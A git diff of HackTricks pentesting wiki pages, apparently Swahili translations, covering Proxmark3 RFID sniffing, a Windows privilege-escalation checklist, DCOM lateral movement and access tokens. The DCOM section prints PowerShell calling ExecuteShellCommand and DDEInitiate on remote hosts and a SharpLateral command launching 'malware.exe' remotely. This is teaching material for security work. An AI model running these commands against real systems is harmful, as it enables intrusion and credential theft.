The Proxmark3 allows to perform other actions like **eavesdropping** a **Tag to Reader communication** to try to find sensitive data. In this card you could just sniff the communication with and calculate the used key because the **cryptographic operations used are weak** and knowing the plain and cipher text you can calculate it (`mfkey64` tool).
|
||||
Proxmark3 inaruhusu kufanya vitendo vingine kama **kupeleleza** mawasiliano ya **Tag na Reader** ili kujaribu kupata data nyeti. Katika kadi hii unaweza tu kunusa mawasiliano na kuhesabu funguo iliyotumika kwa sababu **operesheni za kijasusi zilizotumika ni dhaifu** na kujua maandiko ya wazi na maandiko ya cipher unaweza kuhesabu (`mfkey64` tool).
|
||||
|
||||
### Raw Commands
|
||||
### Amri Mbichi
|
||||
|
||||
Mifumo ya IoT wakati mwingine hutumia **nonbranded or noncommercial tags**. Katika kesi hii, unaweza kutumia Proxmark3 kutuma **raw commands to the tags**.
|
||||
Mifumo ya IoT wakati mwingine hutumia **vitambulisho visivyo na chapa au visivyo vya kibiashara**. Katika kesi hii, unaweza kutumia Proxmark3 kutuma **amri mbichi za kawaida kwa vitambulisho**.
|
||||
```bash
|
||||
proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
|
||||
SAK : 08 [2]
|
||||
|
|
@ -70,18 +62,11 @@ Kwa habari hii unaweza kujaribu kutafuta taarifa kuhusu kadi na kuhusu njia ya k
|
|||
|
||||
### Scripts
|
||||
|
||||
Programu ya Proxmark3 inakuja na orodha iliyopakiwa awali ya **scripts za automatisering** ambazo unaweza kutumia kufanya kazi rahisi. Ili kupata orodha kamili, tumia amri ya `script list`. Kisha, tumia amri ya `script run`, ikifuatiwa na jina la script:
|
||||
Programu ya Proxmark3 inakuja na orodha iliyopakiwa ya awali ya **scripts za automatisering** ambazo unaweza kutumia kufanya kazi rahisi. Ili kupata orodha kamili, tumia amri ya `script list`. Kisha, tumia amri ya `script run`, ikifuatiwa na jina la script:
|
||||
```
|
||||
proxmark3> script run mfkeys
|
||||
```
|
||||
You can create a script to **fuzz tag readers**, so copying the data of a **valid card** just write a **Lua script** that **randomize** one or more random **bytes** and check if the **reader crashes** with any iteration.
|
||||
|
||||
**Jaribu Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
Unaweza kuunda skripti ili **fuzz tag readers**, hivyo kunakili data ya **kadi halali** andika tu **Lua script** ambayo **randomize** byte moja au zaidi za nasibu na uangalie kama **reader inashindwa** na iteration yoyote.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
|||
|
|
@ -10,65 +10,57 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Kikundi cha Try Hard Security**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### **Zana bora ya kutafuta njia za kuinua mamlaka ya Windows ya ndani:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||
|
||||
### [Taarifa ya Mfumo](windows-local-privilege-escalation/#system-info)
|
||||
|
||||
* [ ] Pata [**Taarifa za Mfumo**](windows-local-privilege-escalation/#system-info)
|
||||
* [ ] Pata [**taarifa za mfumo**](windows-local-privilege-escalation/#system-info)
|
||||
* [ ] Tafuta **kernel** [**exploits kwa kutumia scripts**](windows-local-privilege-escalation/#version-exploits)
|
||||
* [ ] Tumia **Google kutafuta** **exploits** za kernel
|
||||
* [ ] Tumia **searchsploit kutafuta** **exploits** za kernel
|
||||
* [ ] Taarifa ya kuvutia katika [**env vars**](windows-local-privilege-escalation/#environment)?
|
||||
* [ ] Nywila katika [**PowerShell history**](windows-local-privilege-escalation/#powershell-history)?
|
||||
* [ ] Taarifa ya kuvutia katika [**Internet settings**](windows-local-privilege-escalation/#internet-settings)?
|
||||
* [ ] [**Drives**](windows-local-privilege-escalation/#drives)?
|
||||
* [ ] Nywila katika [**historia ya PowerShell**](windows-local-privilege-escalation/#powershell-history)?
|
||||
* [ ] Taarifa ya kuvutia katika [**mipangilio ya Internet**](windows-local-privilege-escalation/#internet-settings)?
|
||||
* [ ] [**Diski**](windows-local-privilege-escalation/#drives)?
|
||||
* [ ] [**WSUS exploit**](windows-local-privilege-escalation/#wsus)?
|
||||
* [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/#alwaysinstallelevated)?
|
||||
|
||||
### [Kuhesabu/AV kuorodhesha](windows-local-privilege-escalation/#enumeration)
|
||||
|
||||
* [ ] Angalia [**Ukaguzi** ](windows-local-privilege-escalation/#audit-settings)na [**WEF** ](windows-local-privilege-escalation/#wef)settings
|
||||
* [ ] Angalia [**Ukaguzi** ](windows-local-privilege-escalation/#audit-settings)na [**WEF** ](windows-local-privilege-escalation/#wef)mipangilio
|
||||
* [ ] Angalia [**LAPS**](windows-local-privilege-escalation/#laps)
|
||||
* [ ] Angalia kama [**WDigest** ](windows-local-privilege-escalation/#wdigest)inafanya kazi
|
||||
* [ ] [**LSA Protection**](windows-local-privilege-escalation/#lsa-protection)?
|
||||
* [ ] [**Ulinzi wa LSA**](windows-local-privilege-escalation/#lsa-protection)?
|
||||
* [ ] [**Credentials Guard**](windows-local-privilege-escalation/#credentials-guard)[?](windows-local-privilege-escalation/#cached-credentials)
|
||||
* [ ] [**Cached Credentials**](windows-local-privilege-escalation/#cached-credentials)?
|
||||
* [ ] Angalia kama kuna [**AV**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/windows-av-bypass/README.md)
|
||||
* [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
* [ ] [**Sera ya AppLocker**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
|
||||
* [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
|
||||
* [ ] [**User Privileges**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* [ ] [**Mamlaka ya Watumiaji**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* [ ] Angalia [**mamlaka** ya **mtumiaji wa sasa**](windows-local-privilege-escalation/#users-and-groups)
|
||||
* [ ] Je, wewe ni [**mwanachama wa kikundi chochote chenye mamlaka**](windows-local-privilege-escalation/#privileged-groups)?
|
||||
* [ ] Angalia kama una [miongoni mwa hizi tokens zilizowekwa](windows-local-privilege-escalation/#token-manipulation): **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
|
||||
* [ ] [**Sessions za Watumiaji**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||
* [ ] [**Vikao vya Watumiaji**](windows-local-privilege-escalation/#logged-users-sessions)?
|
||||
* [ ] Angalia [**nyumba za watumiaji**](windows-local-privilege-escalation/#home-folders) (ufikiaji?)
|
||||
* [ ] Angalia [**Sera ya Nywila**](windows-local-privilege-escalation/#password-policy)
|
||||
* [ ] Nini kiko [**ndani ya Clipboard**](windows-local-privilege-escalation/#get-the-content-of-the-clipboard)?
|
||||
|
||||
### [Mtandao](windows-local-privilege-escalation/#network)
|
||||
|
||||
* [ ] Angalia **taarifa ya sasa ya** [**mtandao**](windows-local-privilege-escalation/#network)
|
||||
* [ ] Angalia **taarifa za sasa za** [**mtandao**](windows-local-privilege-escalation/#network)
|
||||
* [ ] Angalia **huduma za ndani zilizofichwa** zilizozuiliwa kwa nje
|
||||
|
||||
### [Mchakato unaoendelea](windows-local-privilege-escalation/#running-processes)
|
||||
|
||||
* [ ] Mchakato wa binaries [**file na ruhusa za folda**](windows-local-privilege-escalation/#file-and-folder-permissions)
|
||||
* [ ] [**Kuchimba Nywila za Kumbukumbu**](windows-local-privilege-escalation/#memory-password-mining)
|
||||
* [ ] [**Kuchimba nywila za Kumbukumbu**](windows-local-privilege-escalation/#memory-password-mining)
|
||||
* [ ] [**Programu za GUI zisizo salama**](windows-local-privilege-escalation/#insecure-gui-apps)
|
||||
* [ ] Pora nywila na **mchakato wa kuvutia** kupitia `ProcDump.exe` ? (firefox, chrome, nk ...)
|
||||
* [ ] Pora nywila na **michakato ya kuvutia** kupitia `ProcDump.exe` ? (firefox, chrome, nk ...)
|
||||
|
||||
### [Huduma](windows-local-privilege-escalation/#services)
|
||||
|
||||
|
|
@ -99,7 +91,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
* [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)nywila
|
||||
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) nywila ambazo unaweza kutumia?
|
||||
* [ ] Taarifa ya kuvutia [**DPAPI credentials**](windows-local-privilege-escalation/#dpapi)?
|
||||
* [ ] Nywila za mitandao ya [**Wifi zilizohifadhiwa**](windows-local-privilege-escalation/#wifi)?
|
||||
* [ ] Nywila za [**Wifi networks**](windows-local-privilege-escalation/#wifi) zilizohifadhiwa?
|
||||
* [ ] Taarifa ya kuvutia katika [**RDP Connections zilizohifadhiwa**](windows-local-privilege-escalation/#saved-rdp-connections)?
|
||||
* [ ] Nywila katika [**amri zilizokimbizwa hivi karibuni**](windows-local-privilege-escalation/#recently-run-commands)?
|
||||
* [ ] [**Meneja wa Nywila za Desktop ya KijRemote**](windows-local-privilege-escalation/#remote-desktop-credential-manager) nywila?
|
||||
|
|
@ -109,8 +101,8 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
### [Faili na Registry (Nywila)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||
|
||||
* [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/#putty-creds) **na** [**SSH host keys**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] [**SSH keys katika registry**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
||||
* [ ] Nywila katika [**faili zisizokuwa na mtu**](windows-local-privilege-escalation/#unattended-files)?
|
||||
* [ ] [**SSH keys in registry**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
||||
* [ ] Nywila katika [**faili zisizofuatiliwa**](windows-local-privilege-escalation/#unattended-files)?
|
||||
* [ ] Backup yoyote ya [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)?
|
||||
* [ ] [**Cloud credentials**](windows-local-privilege-escalation/#cloud-credentials)?
|
||||
* [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml) faili?
|
||||
|
|
@ -119,7 +111,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
* [ ] Taarifa ya kuvutia katika [**web** **logs**](windows-local-privilege-escalation/#logs)?
|
||||
* [ ] Je, unataka [**kuomba nywila**](windows-local-privilege-escalation/#ask-for-credentials) kwa mtumiaji?
|
||||
* [ ] Taarifa ya kuvutia [**ndani ya Recycle Bin**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||
* [ ] Registry nyingine [**iliyokuwa na nywila**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* [ ] Registry nyingine inayohifadhi nywila [**zimehifadhiwa**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* [ ] Ndani ya [**data za kivinjari**](windows-local-privilege-escalation/#browsers-history) (dbs, historia, alama, ...)?
|
||||
* [ ] [**Utafutaji wa nywila wa jumla**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) katika faili na registry
|
||||
* [ ] [**Zana**](windows-local-privilege-escalation/#tools-that-search-for-passwords) za kutafuta nywila kiotomatiki
|
||||
|
|
@ -132,12 +124,6 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* [ ] Angalia kama unaweza kuitumia vibaya
|
||||
|
||||
**Kikundi cha Try Hard Security**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
@ -148,7 +134,7 @@ Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" al
|
|||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,29 +15,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## MMC20.Application
|
||||
|
||||
**Kwa maelezo zaidi kuhusu mbinu hii angalia chapisho la asili kutoka [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
**Kwa maelezo zaidi kuhusu mbinu hii angalia chapisho asilia kutoka [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
||||
Distributed Component Object Model (DCOM) objects zina uwezo wa kuvutia kwa mwingiliano wa mtandao na vitu. Microsoft inatoa nyaraka kamili kwa DCOM na Component Object Model (COM), zinazopatikana [hapa kwa DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) na [hapa kwa COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Orodha ya maombi ya DCOM inaweza kupatikana kwa kutumia amri ya PowerShell:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
The COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), inaruhusu uandishi wa operesheni za MMC snap-in. Kwa hakika, kitu hiki kina `ExecuteShellCommand` njia chini ya `Document.ActiveView`. Taarifa zaidi kuhusu njia hii inaweza kupatikana [hapa](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Angalia inavyofanya kazi:
|
||||
The COM object, [MMC Application Class (MMC20.Application)](https://technet.microsoft.com/en-us/library/cc181199.aspx), inaruhusu uandishi wa operesheni za MMC snap-in. Kwa kuzingatia, kitu hiki kina `ExecuteShellCommand` njia chini ya `Document.ActiveView`. Taarifa zaidi kuhusu njia hii inaweza kupatikana [hapa](https://msdn.microsoft.com/en-us/library/aa815396\(v=vs.85\).aspx). Angalia inavyofanya kazi:
|
||||
|
||||
Kipengele hiki kinarahisisha utekelezaji wa amri kupitia mtandao kupitia programu ya DCOM. Ili kuingiliana na DCOM kwa mbali kama admin, PowerShell inaweza kutumika kama ifuatavyo:
|
||||
```powershell
|
||||
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
|
||||
```
|
||||
Hii amri inajiunga na programu ya DCOM na inarudisha mfano wa kitu cha COM. Njia ya ExecuteShellCommand inaweza kisha kuitwa ili kutekeleza mchakato kwenye mwenyeji wa mbali. Mchakato unajumuisha hatua zifuatazo:
|
||||
Hii amri inajihusisha na programu ya DCOM na inarudisha mfano wa kitu cha COM. Njia ya ExecuteShellCommand inaweza kisha kuitwa ili kutekeleza mchakato kwenye mwenyeji wa mbali. Mchakato unajumuisha hatua zifuatazo:
|
||||
|
||||
Angalia mbinu:
|
||||
```powershell
|
||||
|
|
@ -57,9 +49,9 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
**Kwa maelezo zaidi kuhusu mbinu hii angalia chapisho la asili [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||
|
||||
Kitu cha **MMC20.Application** kiligundulika kuwa hakina "LaunchPermissions" wazi, kikirudi kwenye ruhusa zinazoruhusu Wasimamizi kupata. Kwa maelezo zaidi, thread inaweza kuchunguzwa [hapa](https://twitter.com/tiraniddo/status/817532039771525120), na matumizi ya [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET kwa ajili ya kuchuja vitu bila Ruhusa ya Uzinduzi inashauriwa.
|
||||
Kitu cha **MMC20.Application** kiligundulika kukosa "LaunchPermissions" wazi, kikirudi kwenye ruhusa zinazoruhusu Wasimamizi kupata. Kwa maelezo zaidi, mjadala unaweza kuchunguzwa [hapa](https://twitter.com/tiraniddo/status/817532039771525120), na matumizi ya [@tiraniddo](https://twitter.com/tiraniddo)’s OleView .NET kwa ajili ya kuchuja vitu bila Ruhusa ya Uzinduzi wazi yanapendekezwa.
|
||||
|
||||
Vitu viwili maalum, `ShellBrowserWindow` na `ShellWindows`, vilisisitizwa kutokana na ukosefu wa Ruhusa za Uzinduzi wazi. Ukosefu wa kiingilio cha `LaunchPermission` katika `HKCR:\AppID\{guid}` unaashiria ukosefu wa ruhusa wazi.
|
||||
Vitu viwili maalum, `ShellBrowserWindow` na `ShellWindows`, vilisisitizwa kutokana na ukosefu wa Ruhusa za Uzinduzi wazi. Ukosefu wa kiingilio cha rejista cha `LaunchPermission` chini ya `HKCR:\AppID\{guid}` unaashiria ukosefu wa ruhusa wazi.
|
||||
|
||||
### ShellWindows
|
||||
Kwa `ShellWindows`, ambayo haina ProgID, mbinu za .NET `Type.GetTypeFromCLSID` na `Activator.CreateInstance` zinasaidia kuunda kitu kwa kutumia AppID yake. Mchakato huu unatumia OleView .NET kupata CLSID ya `ShellWindows`. Mara tu inapoundwa, mwingiliano unaweza kufanyika kupitia mbinu ya `WindowsShell.Item`, ikisababisha mwito wa mbinu kama `Document.Application.ShellExecute`.
|
||||
|
|
@ -100,17 +92,17 @@ $Obj.DDEInitiate("cmd", "/c $Command")
|
|||
```
|
||||
### Vifaa vya Utaftaji wa Kando
|
||||
|
||||
Vifaa viwili vinasisitizwa kwa ajili ya kuendesha mbinu hizi:
|
||||
Vifaa viwili vinasisitizwa kwa ajili ya kuharakisha mbinu hizi:
|
||||
|
||||
- **Invoke-DCOM.ps1**: Skripti ya PowerShell inayotolewa na mradi wa Empire ambayo inarahisisha mwito wa mbinu tofauti za kutekeleza msimbo kwenye mashine za mbali. Skripti hii inapatikana kwenye hifadhi ya Empire GitHub.
|
||||
- **Invoke-DCOM.ps1**: Skripti ya PowerShell inayotolewa na mradi wa Empire ambayo inarahisisha mwito wa mbinu tofauti za kutekeleza msimbo kwenye mashine za mbali. Skripti hii inapatikana katika hifadhi ya Empire GitHub.
|
||||
|
||||
- **SharpLateral**: Kifaa kilichoundwa kwa ajili ya kutekeleza msimbo kwa mbali, ambacho kinaweza kutumika na amri:
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
```
|
||||
## Vifaa vya Kiotomatiki
|
||||
## Automatic Tools
|
||||
|
||||
* Skripti ya Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) inaruhusu kwa urahisi kuita njia zote zilizotajwa za kutekeleza msimbo kwenye mashine nyingine.
|
||||
* Skripti la Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) inaruhusu kwa urahisi kuita njia zote zilizotajwa za kutekeleza msimbo kwenye mashine nyingine.
|
||||
* Unaweza pia kutumia [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
|
|
@ -120,23 +112,17 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
* [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)
|
||||
* [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)
|
||||
|
||||
**Jaribu Kikundi cha Usalama**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
|||
|
|
@ -15,25 +15,12 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) ni injini ya utafutaji inayotumiwa na **dark-web** ambayo inatoa kazi za **bure** kuangalia kama kampuni au wateja wake wamekuwa **compromised** na **stealer malwares**.
|
||||
|
||||
Lengo lao kuu la WhiteIntel ni kupambana na utekaji wa akaunti na mashambulizi ya ransomware yanayotokana na malware inayopora taarifa.
|
||||
|
||||
Unaweza kuangalia tovuti yao na kujaribu injini yao kwa **bure** kwenye:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Access Tokens
|
||||
|
||||
Kila **mtumiaji aliyeingia** kwenye mfumo **ana token ya ufikiaji yenye taarifa za usalama** kwa ajili ya kikao hicho cha kuingia. Mfumo huunda token ya ufikiaji wakati mtumiaji anaingia. **Kila mchakato unaotekelezwa** kwa niaba ya mtumiaji **una nakala ya token ya ufikiaji**. Token hiyo inatambulisha mtumiaji, vikundi vya mtumiaji, na ruhusa za mtumiaji. Token pia ina SID ya kuingia (Identifier ya Usalama) inayotambulisha kikao cha sasa cha kuingia.
|
||||
Kila **mtumiaji aliyeingia** kwenye mfumo **ana token ya ufikiaji yenye taarifa za usalama** kwa ajili ya kikao hicho cha kuingia. Mfumo huunda token ya ufikiaji wakati mtumiaji anapoingia. **Kila mchakato unaotekelezwa** kwa niaba ya mtumiaji **una nakala ya token ya ufikiaji**. Token hiyo inatambulisha mtumiaji, vikundi vya mtumiaji, na ruhusa za mtumiaji. Token pia ina SID ya kuingia (Identifier ya Usalama) inayotambulisha kikao cha sasa cha kuingia.
|
||||
|
||||
Unaweza kuona taarifa hii ukitekeleza `whoami /all`
|
||||
Unaweza kuona taarifa hii kwa kutekeleza `whoami /all`
|
||||
```
|
||||
whoami /all
|
||||
|
||||
|
|
@ -92,65 +79,54 @@ Ikiwa una **uthibitisho halali wa mtumiaji mwingine yeyote**, unaweza **kuunda**
|
|||
```
|
||||
runas /user:domain\username cmd.exe
|
||||
```
|
||||
The **access token** ina **rejea** ya vikao vya kuingia ndani ya **LSASS**, hii ni muhimu ikiwa mchakato unahitaji kufikia baadhi ya vitu vya mtandao.\
|
||||
The **access token** ina **rejea** ya vikao vya kuingia ndani ya **LSASS**, hii ni muhimu ikiwa mchakato unahitaji kufikia vitu fulani vya mtandao.\
|
||||
Unaweza kuzindua mchakato ambao **unatumia sifa tofauti za kufikia huduma za mtandao** kwa kutumia:
|
||||
```
|
||||
runas /user:domain\username /netonly cmd.exe
|
||||
```
|
||||
Hii ni muhimu ikiwa una akidi muhimu za kufikia vitu katika mtandao lakini akidi hizo si halali ndani ya mwenyeji wa sasa kwani zitatumika tu katika mtandao (katika mwenyeji wa sasa, ruhusa za mtumiaji wako wa sasa zitatumika).
|
||||
This is useful if you have useful credentials to access objects in the network but those credentials aren't valid inside the current host as they are only going to be used in the network (in the current host your current user privileges will be used).
|
||||
|
||||
### Aina za tokeni
|
||||
### Types of tokens
|
||||
|
||||
Kuna aina mbili za tokeni zinazopatikana:
|
||||
There are two types of tokens available:
|
||||
|
||||
* **Tokeni Kuu**: Inatumika kama uwakilishi wa akidi za usalama za mchakato. Uundaji na uhusiano wa tokeni kuu na michakato ni vitendo vinavyohitaji ruhusa za juu, ikisisitiza kanuni ya kutenganisha ruhusa. Kwa kawaida, huduma ya uthibitishaji inawajibika kwa uundaji wa tokeni, wakati huduma ya kuingia inashughulikia uhusiano wake na kiolesura cha mfumo wa uendeshaji wa mtumiaji. Inafaa kutaja kwamba michakato inarithi tokeni kuu ya mchakato wao wa mzazi wakati wa uundaji.
|
||||
